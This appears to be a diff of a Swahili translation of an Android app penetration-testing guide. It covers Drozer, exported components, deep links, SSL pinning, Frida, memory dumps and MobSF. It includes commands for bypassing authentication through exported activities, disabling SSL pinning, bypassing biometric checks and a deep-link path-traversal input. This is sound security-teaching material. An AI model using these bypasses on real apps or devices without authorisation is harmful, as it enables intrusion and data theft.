Kutoka kwa [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** inakuruhusu **kuchukua jukumu la programu ya Android** na kuingiliana na programu nyingine. Inaweza kufanya **chochote ambacho programu iliyosakinishwa inaweza kufanya**, kama kutumia Mawasiliano ya Mchakato wa Android (IPC) na kuingiliana na mfumo wa uendeshaji wa msingi. .\
|
||||
Drozer ni zana muhimu kutekeleza shughuli zilizotolewa, watoa huduma walio tolewa na Watoa Huduma kama utakavyojifunza katika sehemu zifuatazo.
|
||||
Kutoka kwa [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** inakuruhusu **kuchukua jukumu la programu ya Android** na kuingiliana na programu nyingine. Inaweza kufanya **chochote ambacho programu iliyosakinishwa inaweza kufanya**, kama vile kutumia Mawasiliano ya Mchakato wa Android (IPC) na kuingiliana na mfumo wa uendeshaji wa msingi. .\
|
||||
Drozer ni zana muhimu kwa **kutekeleza shughuli zilizotolewa, watoa huduma walio tolewa na Watoa Huduma** kama utakavyojifunza katika sehemu zifuatazo.
|
||||
|
||||
### Kutumia Shughuli Zilizotolewa
|
||||
### Kutumia Shughuli zilizotolewa
|
||||
|
||||
[Soma hii ikiwa unataka kufahamu upya ni nini Android Activity.](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Pia kumbuka kuwa msimbo wa shughuli huanza katika mbinu ya **`onCreate`**.
|
||||
|
||||
**Kupuuza Uthibitisho**
|
||||
|
||||
Wakati Shughuli inapotolewa unaweza kuita skrini yake kutoka kwa programu ya nje. Kwa hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **tolewa** unaweza **kupuuza** **mifumo ya uthibitisho** **kufikia** hiyo.
|
||||
Wakati Shughuli inapotolewa unaweza kuita skrini yake kutoka kwa programu ya nje. Kwa hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **tolewa** unaweza **kupuuza** **mifumo ya uthibitisho** ili kuifikia.
|
||||
|
||||
[Jifunze jinsi ya kutumia shughuli zilizotolewa na Drozer.](drozer-tutorial/#activities)
|
||||
|
||||
Unaweza pia kuanza shughuli iliyotolewa kutoka adb:
|
||||
Unaweza pia kuanzisha shughuli iliyotolewa kutoka kwa adb:
|
||||
|
||||
* Jina la Pakiti ni com.example.demo
|
||||
* Jina la Shughuli Iliyotolewa ni com.example.test.MainActivity
|
||||
|
@ -357,38 +357,38 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
|||
Tafadhali kumbuka kwamba kukiuka idhini sio lazima iwe tishio, itategemea jinsi kukiuka hufanya kazi na ni habari gani inafichuliwa.
|
||||
{% endhint %}
|
||||
|
||||
**Kuvuja kwa Taarifa Nyeti**
|
||||
**Kuvuja kwa Taarifa Zenye Hisia**
|
||||
|
||||
**Activities pia zinaweza kurudisha matokeo**. Ikiwa unafanikiwa kupata activity iliyotolewa na isiyolindwa ikitoa mbinu ya **`setResult`** na **kurudisha taarifa nyeti**, hii ni kuvuja kwa taarifa nyeti.
|
||||
**Activities pia zinaweza kurudisha matokeo**. Ikiwa unafanikiwa kupata activity iliyotolewa na isiyolindwa ikitoa mbinu ya **`setResult`** na **kurudisha taarifa zenye hisia**, hii ni kuvuja kwa taarifa zenye hisia.
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Ikiwa tapjacking haijazuiliwa, unaweza kutumia activity iliyotolewa kufanya **mtumiaji afanye vitendo visivyotarajiwa**. Kwa habari zaidi kuhusu [**ni nini Tapjacking fuata kiungo**](./#tapjacking).
|
||||
|
||||
### Kutumia Watoa Huduma - Kupata na kubadilisha taarifa nyeti
|
||||
### Kutumia Watoa Huduma za Yaliyomo - Kupata na kubadilisha taarifa zenye hisia
|
||||
|
||||
[**Soma hii ikiwa unataka kufahamu upya ni nini Mtoa Huduma.**](android-applications-basics.md#content-provider)\
|
||||
Watoa huduma kimsingi hutumiwa kwa ajili ya **kushiriki data**. Ikiwa programu ina watoa huduma inayopatikana unaweza **kutolea** data nyeti kutoka kwao. Pia ni muhimu kujaribu **SQL injections** na **Path Traversals** kwani wanaweza kuwa na mapungufu.
|
||||
[**Soma hii ikiwa unataka kufahamu upya ni nini Mtoa Huduma wa Yaliyomo.**](android-applications-basics.md#content-provider)\
|
||||
Watoa huduma wa yaliyomo kimsingi hutumiwa kwa ajili ya **kushiriki data**. Ikiwa programu ina watoa huduma wa yaliyomo unaweza **kutolea data zenye hisia** kutoka kwao. Pia ni muhimu kufanya majaribio ya **SQL injections** na **Path Traversals** kwani wanaweza kuwa na mapungufu.
|
||||
|
||||
[**Jifunze jinsi ya kutumia Watoa Huduma na Drozer.**](drozer-tutorial/#content-providers)
|
||||
[**Jifunze jinsi ya kutumia Watoa Huduma za Yaliyomo na Drozer.**](drozer-tutorial/#content-providers)
|
||||
|
||||
### **Kutumia Huduma**
|
||||
|
||||
[**Soma hii ikiwa unataka kufahamu upya ni nini Huduma.**](android-applications-basics.md#services)\
|
||||
Kumbuka kuwa vitendo vya Huduma huanza katika mbinu `onStartCommand`.
|
||||
Kumbuka kuwa hatua za Huduma huanza katika njia `onStartCommand`.
|
||||
|
||||
Huduma ni kitu ambacho **kinaweza kupokea data**, **kuiprocess** na **kurudisha** (au la) majibu. Kwa hiyo, ikiwa programu inatoa huduma fulani unapaswa **kuangalia** **mimbo** ili kuelewa inafanya nini na **kujaribu** kwa njia ya **dynamically** kutoa taarifa za siri, kukiuka hatua za uthibitishaji...\
|
||||
Huduma ni kitu ambacho kimsingi **inaweza kupokea data**, **kuiprocess** na **kurudisha** (au la) majibu. Kwa hiyo, ikiwa programu inatoa huduma fulani unapaswa **kuangalia** **mimbo** ili kuelewa inafanya nini na kuifanyia majaribio **kwa njia ya kudhibiti** ili kutoa taarifa za siri, kukiuka hatua za uthibitishaji...
|
||||
[**Jifunze jinsi ya kutumia Huduma na Drozer.**](drozer-tutorial/#services)
|
||||
|
||||
### **Kutumia Wapokeaji wa Matangazo (Broadcast Receivers)**
|
||||
### **Kutumia Wapokeaji wa Matangazo**
|
||||
|
||||
[**Soma hii ikiwa unataka kufahamu upya ni nini Wapokeaji wa Matangazo (Broadcast Receiver).**](android-applications-basics.md#broadcast-receivers)\
|
||||
Kumbuka kuwa vitendo vya Wapokeaji wa Matangazo huanza katika mbinu `onReceive`.
|
||||
[**Soma hii ikiwa unataka kufahamu upya ni nini Mpokeaji wa Matangazo.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Kumbuka kuwa hatua za Mpokeaji wa Matangazo huanza katika njia `onReceive`.
|
||||
|
||||
Mpokeaji wa matangazo atakuwa anasubiri aina fulani ya ujumbe. Kulingana na jinsi mpokeaji anavyoshughulikia ujumbe huo inaweza kuwa na mapungufu.\
|
||||
[**Jifunze jinsi ya kutumia Wapokeaji wa Matangazo na Drozer.**](./#exploiting-broadcast-receivers)
|
||||
|
||||
### **Kutumia Mipango / Viungo vya Kina (Schemes / Deep links)**
|
||||
### **Kutumia Mipango / Viungo vya Kina**
|
||||
|
||||
Unaweza kutafuta viungo vya kina kwa mkono, kutumia zana kama MobSF au hati kama [hii](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Unaweza **kufungua** mpango uliotangazwa kwa kutumia **adb** au **kivinjari**:
|
||||
|
@ -399,7 +399,7 @@ adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?para
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
_Tafadhali kumbuka unaweza **kuacha jina la pakiti** na simu itaita moja kwa moja programu inayopaswa kufungua kiungo hicho._
|
||||
_Tafadhali kumbuka unaweza **kutenga jina la pakiti** na simu itaita moja kwa moja programu inayopaswa kufungua kiungo hicho._
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```markup
|
||||
|
@ -423,17 +423,17 @@ Kila wakati unapopata kiungo kirefu hakikisha **haipokei data nyeti (kama nywila
|
|||
**Vigezo katika njia**
|
||||
|
||||
**Lazima pia uhakiki ikiwa kiungo kirefu kinatumia kigezo ndani ya njia** ya URL kama: `https://api.example.com/v1/users/{username}`, katika kesi hiyo unaweza kulazimisha upitishaji wa njia kwa kupata kitu kama: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Tambua kwamba ukigundua vituo sahihi ndani ya programu unaweza kusababisha **Ukurasa wa Kuelekeza** (ikiwa sehemu ya njia inatumika kama jina la kikoa), **uchukuzi wa akaunti** (ikiwa unaweza kurekebisha maelezo ya watumiaji bila ishara ya CSRF na kituo cha udhaifu kilichotumika njia sahihi) na udhaifu mwingine wowote. Zaidi [habari kuhusu hili hapa](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Tambua kwamba ukigundua vipengele sahihi ndani ya programu unaweza kusababisha **Ukurasa wa Kuelekeza** (ikiwa sehemu ya njia inatumika kama jina la kikoa), **uchukuzi wa akaunti** (ikiwa unaweza kurekebisha maelezo ya watumiaji bila ishara ya CSRF na kigezo cha udhaifu kilichotumika njia sahihi) na udhaifu mwingine wowote. Zaidi [habari kuhusu hili hapa](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Mifano Zaidi**
|
||||
**Mifano zaidi**
|
||||
|
||||
Ripoti ya [tuzo ya mdudu inayovutia](https://hackerone.com/reports/855618) kuhusu viungo (_/.well-known/assetlinks.json_).
|
||||
Ripoti ya tuzo ya bugi [yenye kuvutia](https://hackerone.com/reports/855618) kuhusu viungo (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Ukaguzi wa Tabaka la Usafirishaji na Kushindwa kwa Uthibitisho
|
||||
### Ukaguzi wa Tabaka la Usafirishaji na Kukosekana kwa Uthibitisho
|
||||
|
||||
* **Vyeti mara nyingi havikaguliwi ipasavyo** na programu za Android. Ni kawaida kwa programu hizi kupuuza onyo na kukubali vyeti vilivyosainiwa na wenyewe au, kwa baadhi ya hali, kurudi kutumia mawasiliano ya HTTP.
|
||||
* **Majadiliano wakati wa mkono wa SSL/TLS mara nyingi ni dhaifu**, kutumia seti za herufi zisizo salama. Udhaifu huu hufanya mawasiliano kuwa hatarini kwa mashambulizi ya mtu katikati (MITM), kuruhusu wachomaji kufichua data.
|
||||
* **Kuvuja kwa taarifa za kibinafsi** ni hatari wakati programu zinafanya uthibitisho kwa kutumia njia salama lakini kisha kufanya mawasiliano kupitia njia zisizo salama kwa shughuli nyingine. Hatua hii haikulindi data nyeti, kama vile vidakuzi vya kikao au maelezo ya mtumiaji, kutokana na kutekwa na vyombo vichafu.
|
||||
* **Kuvuja kwa taarifa za kibinafsi** ni hatari wakati programu zinafanya uthibitisho kwa kutumia njia salama lakini kisha kufanya mawasiliano kupitia njia zisizo salama kwa shughuli nyingine. Hatua hii haikulindi data nyeti, kama vile vidakuzi vya kikao au maelezo ya mtumiaji, kutokana na kutekwa na vyombo viovu.
|
||||
|
||||
#### Uthibitisho wa Cheti
|
||||
|
||||
|
@ -451,28 +451,29 @@ Programu zinazolenga **Kiwango cha API 24 na zaidi** zinahitaji marekebisho kwen
|
|||
|
||||
#### Kupitisha Kufunga SSL
|
||||
|
||||
Wakati Kufunga SSL imefanywa, kupitisha ni muhimu kwa kukagua trafiki ya HTTPS. Mbinu mbalimbali zinapatikana kwa kusudi hili:
|
||||
Wakati Kufunga SSL inatekelezwa, kupitisha ni muhimu ili kukagua trafiki ya HTTPS. Mbinu mbalimbali zinapatikana kwa kusudi hili:
|
||||
|
||||
* **Kurekebisha** **apk** kiotomatiki ili **kipitishe** Kufunga SSL na [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Faida kuu ya chaguo hili ni kwamba hautahitaji mizizi kwa kupitisha Kufunga SSL, lakini utahitaji kufuta programu na kusakinisha mpya, na hii haitafanya kazi kila wakati.
|
||||
* Unaweza kutumia **Frida** (kujadiliwa hapa chini) kupitisha ulinzi huu. Hapa una mwongozo wa kutumia Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* Unaweza pia **kujaribu kupitisha Kufunga SSL kiotomatiki** kwa kutumia [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* Unaweza pia **kujaribu kupitisha Kufunga SSL kiotomatiki** kwa kutumia **uchambuzi wa kipekee wa MobSF** (kuelezea hapa chini)
|
||||
* Ikiwa bado unadhani kuna trafiki ambayo hauichukui unaweza **kupeleka trafiki kwa burp kwa kutumia iptables**. Soma blogi hii: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
* Unaweza kutumia **Frida** (kujadiliwa hapa chini) kupitisha ulinzi huu. Hapa kuna mwongozo wa kutumia Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* Unaweza pia kujaribu **kupitisha Kufunga SSL kiotomatiki** kwa kutumia [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* Unaweza pia kujaribu **kupitisha Kufunga SSL kiotomatiki** kwa kutumia **uchambuzi wa kina wa MobSF** (kuelezea hapa chini)
|
||||
* Ikiwa bado unadhani kuna trafiki ambayo hauichukui unaweza kujaribu **kupeleka trafiki kwa burp kwa kutumia iptables**. Soma blogi hii: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Kutafuta Udhaifu wa Kawaida wa Wavuti
|
||||
|
||||
Ni muhimu pia kutafuta udhaifu wa kawaida wa wavuti ndani ya programu. Maelezo kamili kuhusu kutambua na kupunguza udhaifu huu yanazidi upeo wa muhtasari huu lakini yanashughulikiwa kwa kina mahali pengine.
|
||||
Ni muhimu pia kutafuta udhaifu wa kawaida wa wavuti ndani ya programu. Maelezo ya kina kuhusu kutambua na kupunguza udhaifu huu yanazidi upeo wa muhtasari huu lakini yanashughulikiwa kwa kina mahali pengine.
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) ni seti ya zana ya uwekaji wa kudumu kwa watengenezaji, wanaorudisha, na watafiti wa usalama.\
|
||||
**Unaweza kupata programu inayoendeshwa na kufunga njia za kukimbia wakati wa kubadilisha tabia, kubadilisha thamani, kutoa thamani, kukimbia msimbo tofauti...**\
|
||||
Ikiwa unataka kufanya majaribio ya kuingilia kati kwenye programu za Android unahitaji kujua jinsi ya kutumia Frida.
|
||||
**Unaweza kupata programu inayoendeshwa na kufunga mbinu za wakati wa kukimbia kubadilisha tabia, kubadilisha thamani, kutoa thamani, kuendesha msimbo tofauti...**\
|
||||
Ikiwa unataka kufanya majaribio ya kuingia kwenye programu za Android unahitaji kujua jinsi ya kutumia Frida.
|
||||
|
||||
* Jifunze jinsi ya kutumia Frida: [**Mafunzo ya Frida**](frida-tutorial/)
|
||||
* Baadhi ya "GUI" kwa vitendo na Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
* Ojection ni nzuri kwa kiotomatiki matumizi ya Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
* Unaweza kupata baadhi ya hati za kushangaza za Frida hapa: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
* Unaweza kupata baadhi ya skripti za Frida hapa: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
* Jaribu kupitisha mbinu za kuzuia uchunguzi wa kosa / mbinu za kuzuia Frida kwa kupakia Frida kama ilivyoelezwa katika [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (zana [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **Dump Memory - Fridump**
|
||||
|
||||
|
@ -487,7 +488,9 @@ python3 fridump3.py -u <PID>
|
|||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Hii itadondosha kumbukumbu katika folda ya ./dump, na hapo unaweza kutumia grep na kitu kama:
|
||||
Hii itadondosha kumbukumbu katika folda ya ./dump, na hapo unaweza kutumia grep na kitu kama hiki:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
|
@ -505,21 +508,19 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
|||
```
|
||||
### **Kupitisha Fingerprint/Biometrics**
|
||||
|
||||
Kwa kutumia script ya Frida ifuatayo inaweza kuwa **kupitisha uthibitishaji wa fingerprint** ambao programu za Android zinaweza kutekeleza ili **kulinda maeneo fulani nyeti:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Kwa kutumia script ya Frida ifuatayo inaweza kuwa **kupitisha uthibitishaji wa fingerprint** programu za Android zinaweza kuwa zinafanya ili **kulinda maeneo fulani nyeti:**
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **Picha za Mandharinyuma**
|
||||
|
||||
Unapoweka programu katika mandharinyuma, Android hufadhi **picha ya programu** ili wakati inarudishwa mbele inaanza kupakia picha kabla ya programu ili ionekane kana kwamba programu imepakia haraka.
|
||||
Unapoweka programu katika mandharinyuma, Android hufadhi **picha ya programu** ili wakati inarudishwa mbele, inaanza kupakia picha kabla ya programu ili ionekane kana kwamba programu imepakia haraka zaidi.
|
||||
|
||||
Hata hivyo, ikiwa picha hii ya programu ina **taarifa nyeti**, mtu mwenye ufikivu wa picha hiyo anaweza **kuiba taarifa hizo** (kumbuka unahitaji ruhusa ya msingi kuifikia).
|
||||
Hata hivyo, ikiwa picha hii ya haraka ina **taarifa nyeti**, mtu mwenye ufikivu wa picha hiyo anaweza **kuiba taarifa hizo** (kumbuka kwamba unahitaji ruhusa ya msingi kufikia hii).
|
||||
|
||||
Picha hizi kawaida hufadhiwa karibu na: **`/data/system_ce/0/snapshots`**
|
||||
Picha za haraka kawaida hufadhiwa karibu na: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android hutoa njia ya **kuzuia upigaji picha wa skrini kwa kuweka FLAG\_SECURE** kama parameta ya muundo. Kwa kutumia bendera hii, maudhui ya dirisha hutibiwa kama salama, ikizuia kuonekana kwenye picha za skrini au kutazamwa kwenye maonyesho yasiyo salama.
|
||||
Android hutoa njia ya **kuzuia upigaji picha wa skrini kwa kuweka FLAG\_SECURE** kama parameta ya mpangilio. Kwa kutumia bendera hii, maudhui ya dirisha hutibiwa kama salama, ikizuia kuonekana kwenye picha za skrini au kutazamwa kwenye maonyesho yasiyo salama.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
|
@ -529,25 +530,25 @@ Zana hii inaweza kukusaidia kusimamia zana tofauti wakati wa uchambuzi wa kudumu
|
|||
|
||||
### Kuingiza Kusudi
|
||||
|
||||
Watengenezaji mara nyingi hujenga vipengele vya proksi kama shughuli, huduma, na wapokeaji wa matangazo ambao hushughulikia hizi Kusudi na kuzipitisha kwa njia kama `startActivity(...)` au `sendBroadcast(...)`, ambayo inaweza kuwa hatari.
|
||||
Watengenezaji mara nyingi hujenga sehemu za mbadala kama shughuli, huduma, na wapokeaji wa matangazo ambao hushughulikia hizi Kusudi na kuzipitisha kwa njia kama `startActivity(...)` au `sendBroadcast(...)`, ambayo inaweza kuwa hatari.
|
||||
|
||||
Hatari iko katika kuruhusu wachomaji kuanzisha vipengele vya programu ambavyo havijaorodheshwa au kupata watoa huduma wa yaliyomo wenye nyeti kwa kuelekeza vibaya hizi Kusudi. Mfano muhimu ni kipengele cha `WebView` kinachogeuzisha URL kuwa vitu vya `Kusudi` kupitia `Intent.parseUri(...)` na kisha kuzitekeleza, ikisababisha uwezekano wa kuingiza Kusudi zenye nia mbaya.
|
||||
Hatari iko katika kuruhusu wachomaji kuanzisha sehemu za programu ambazo hazijatolewa au kupata watoaji wa yaliyomo nyeti kwa kuelekeza vibaya hizi Kusudi. Mfano muhimu ni sehemu ya `WebView` inayobadilisha URL kuwa vitu vya `Intent` kupitia `Intent.parseUri(...)` na kisha kuzitekeleza, ikisababisha kuingizwa kwa Kusudi zenye nia mbaya.
|
||||
|
||||
### Mambo Muhimu
|
||||
|
||||
* **Kuingiza Kusudi** ni sawa na shida ya Uelekezaji wa Wazi kwenye wavuti.
|
||||
* Utekaji unahusisha kupitisha vitu vya `Kusudi` kama ziada, ambazo zinaweza kuelekezwa kutekeleza shughuli zisizo salama.
|
||||
* Inaweza kufunua vipengele visivyo orodheshwa na watoa huduma wa yaliyomo kwa wachomaji.
|
||||
* Uongezaji wa URL wa `WebView` kuwa `Kusudi` unaweza kurahisisha hatua zisizokusudiwa.
|
||||
* Uvamizi unahusisha kupitisha vitu vya `Intent` kama ziada, ambazo zinaweza kuelekezwa kutekeleza shughuli zisizo salama.
|
||||
* Inaweza kufunua sehemu zisizotolewa na watoaji wa yaliyomo kwa wachomaji.
|
||||
* Ubadilishaji wa URL wa `WebView` kuwa `Intent` unaweza kurahisisha hatua zisizokusudiwa.
|
||||
|
||||
### Uingizaji wa Upande wa Mteja wa Android na vinginevyo
|
||||
### Kuingiza Kwa Upande wa Mteja wa Android na vinginevyo
|
||||
|
||||
Labda unajua kuhusu aina hii ya udhaifu kutoka kwenye Wavuti. Lazima uwe makini hasa na udhaifu huu katika programu ya Android:
|
||||
|
||||
* **Uingizaji wa SQL:** Unaposhughulika na maswali ya kudumu au Watoa Huduma za Yaliyomo hakikisha unatumia maswali yaliyoparameta.
|
||||
* **Uingizaji wa JavaScript (XSS):** Hakikisha kwamba JavaScript na msaada wa Programu-jalizi umefungwa kwa WebViews yoyote (imefungwa kwa chaguo-msingi). [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
|
||||
* **Kuingiza SQL:** Unaposhughulika na maswali ya kudumu au Watoaji wa Yaliyomo hakikisha unatumia maswali yaliyoparameta.
|
||||
* **Kuingiza JavaScript (XSS):** Hakikisha kwamba JavaScript na msaada wa Programu-jalizi umefungwa kwa WebViews yoyote (imefungwa kwa chaguo-msingi). [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
|
||||
* **Ujumuishaji wa Faili za Ndani:** WebViews zinapaswa kuwa na ufikiaji wa mfumo wa faili uliozimwa (umewezeshwa kwa chaguo-msingi) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
|
||||
* **Vidakuzi vya Milele**: Katika visa kadhaa wakati programu ya Android inamaliza kipindi cha kikao, kuki haiondolewi au inaweza hata kuokolewa kwenye diski
|
||||
* **Vidakuzi vya Milele**: Katika visa kadhaa wakati programu ya Android inamaliza kipindi cha kikao, kuki haijafutwa au inaweza hata kuokolewa kwenye diski
|
||||
* [**Bendera ya Usalama** kwenye vidakuzi](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
|
||||
***
|
||||
|
@ -560,10 +561,10 @@ Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ili k
|
|||
Shiriki na maudhui yanayochimba katika msisimko na changamoto za kuchoma
|
||||
|
||||
**Habari za Kuchomwa kwa Wakati Halisi**\
|
||||
Kaa up-to-date na ulimwengu wa kuchomwa kwa kasi kupitia habari za wakati halisi na ufahamu
|
||||
Kaa sawa na ulimwengu wa kuchomwa kwa kasi kupitia habari za wakati halisi na ufahamu
|
||||
|
||||
**Matangazo ya Hivi Karibuni**\
|
||||
Baki mwelekezwa na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
**Matangazo Mapya Zaidi**\
|
||||
Baki na habari za hivi karibuni za tuzo za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wachomaji bora leo!
|
||||
|
||||
|
@ -575,51 +576,51 @@ Baki mwelekezwa na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
|||
|
||||
![](<../../.gitbook/assets/image (61).png>)
|
||||
|
||||
**Tathmini ya udhaifu wa programu** kwa kutumia kiolesura cha wavuti kizuri. Unaweza pia kufanya uchambuzi wa kudumu (lakini unahitaji kuandaa mazingira).
|
||||
**Tathmini ya udhaifu wa programu** kwa kutumia kiolesura kizuri cha wavuti. Unaweza pia kufanya uchambuzi wa kudumu (lakini unahitaji kuandaa mazingira).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Tambua kwamba MobSF inaweza kuchambua **Android**(apk)**, IOS**(ipa) **na Windows**(apx) maombi (_Maombi ya Windows yanapaswa kuchambuliwa kutoka kwa MobSF iliyosakinishwa kwenye mwenyeji wa Windows_).\
|
||||
Pia, ikiwa unajenga faili ya **ZIP** na msimbo wa chanzo wa programu ya **Android** au **IOS** (enda kwenye folda kuu ya maombi, chagua kila kitu na uunde faili ya ZIP), itakuwa na uwezo wa kuchambua pia.
|
||||
Pia, ikiwa unajenga faili ya **ZIP** na msimbo wa chanzo wa programu ya **Android** au **IOS** (enda kwenye folda kuu ya programu, chagua kila kitu na uunde faili ya ZIP), itakuwa na uwezo wa kuchambua pia.
|
||||
|
||||
MobSF pia inakuruhusu kufanya **diff/Compare** uchambuzi na kuunganisha **VirusTotal** (utahitaji kuweka muhimu yako ya API katika _MobSF/settings.py_ na kuwezesha: `VT_ENABLED = TRUE` `VT_API_KEY = <Muhimu wako wa API>` `VT_UPLOAD = TRUE`). Unaweza pia kuweka `VT_UPLOAD` kuwa `False`, kisha **hash** ita **pelekwa** badala ya faili.
|
||||
MobSF pia inakuruhusu kufanya **diff/Compare** uchambuzi na kuunganisha **VirusTotal** (utahitaji kuweka ufunguo wako wa API katika _MobSF/settings.py_ na kuwezesha: `VT_ENABLED = TRUE` `VT_API_KEY = <Ufunguo wako wa API>` `VT_UPLOAD = TRUE`). Unaweza pia kuweka `VT_UPLOAD` kuwa `False`, kisha **hash** ita **pelekwa** badala ya faili.
|
||||
|
||||
### Uchambuzi wa Kisasa ulioongozwa na MobSF
|
||||
|
||||
**MobSF** inaweza pia kuwa na manufaa sana kwa **uchambuzi wa kisasa** katika **Android**, lakini katika kesi hiyo utahitaji kusakinisha MobSF na **genymotion** kwenye mwenyeji wako (VM au Docker haitafanya kazi). _Maelezo: Unahitaji **kuanza kwanza VM katika genymotion** na **kisha MobSF.**_\
|
||||
Mchambuzi wa kisasa wa **MobSF** unaweza:
|
||||
|
||||
* **Dump data ya maombi** (URLs, logs, clipboard, viwambo vilivyofanywa na wewe, viwambo vilivyofanywa na "**Mteja wa Shughuli iliyosafirishwa**", barua pepe, databases za SQLite, faili za XML, na faili zingine zilizoundwa). Hii yote hufanywa moja kwa moja isipokuwa viwambo, unahitaji kubonyeza unapotaka viwambo au unahitaji kubonyeza "**Mteja wa Shughuli iliyosafirishwa**" ili upate viwambo vya shughuli zote zilizosafirishwa.
|
||||
* **Dump data ya programu** (URLs, logs, clipboard, viwambo vilivyofanywa na wewe, viwambo vilivyofanywa na "**Mteja wa Shughuli iliyosafirishwa**", barua pepe, databases za SQLite, faili za XML, na faili zingine zilizoundwa). Hii yote hufanywa moja kwa moja isipokuwa viwambo, unahitaji kubonyeza unapotaka viwambo au unahitaji kubonyeza "**Mteja wa Shughuli iliyosafirishwa**" ili upate viwambo vya shughuli zote zilizosafirishwa.
|
||||
* Kukamata **trafiki ya HTTPS**
|
||||
* Kutumia **Frida** kupata **maarifa ya wakati wa kukimbia**
|
||||
|
||||
Kuanzia toleo la **Android > 5**, ita **anzisha Frida moja kwa moja** na itaweka mipangilio ya **proxy** ya kimataifa kwa **kukamata** trafiki. Itakamata trafiki kutoka kwa maombi yaliyopimwa tu.
|
||||
Kuanzia toleo la **Android > 5**, ita **anzisha Frida moja kwa moja** na itaweka mipangilio ya **proxy** ya kimataifa kwa **kukamata** trafiki. Itakamata trafiki kutoka kwa programu iliyopimwa tu.
|
||||
|
||||
**Frida**
|
||||
|
||||
Kwa chaguo-msingi, pia itatumia Skripti za Frida kwa **kupuuza SSL pinning**, **ugunduzi wa root** na **ugunduzi wa debugger** na kufuatilia **API za kuvutia**.\
|
||||
MobSF pia inaweza **kuamsha shughuli zilizosafirishwa**, kunasa **viwambo** vyao na **kuhifadhi** kwa ripoti.
|
||||
|
||||
Kuanza **jaribio** la kisasa bonyeza kitufe cha kijani: "**Anza Upelelezi**". Bonyeza "**Frida Live Logs**" kuona logs zilizozalishwa na skripti za Frida na "**Mfuatiliaji wa API Moja kwa Moja**" kuona mwaliko wote kwa njia zilizounganishwa, hoja zilizopitishwa na thamani zilizorudishwa (hii itaonekana baada ya kubonyeza "Anza Upelelezi").\
|
||||
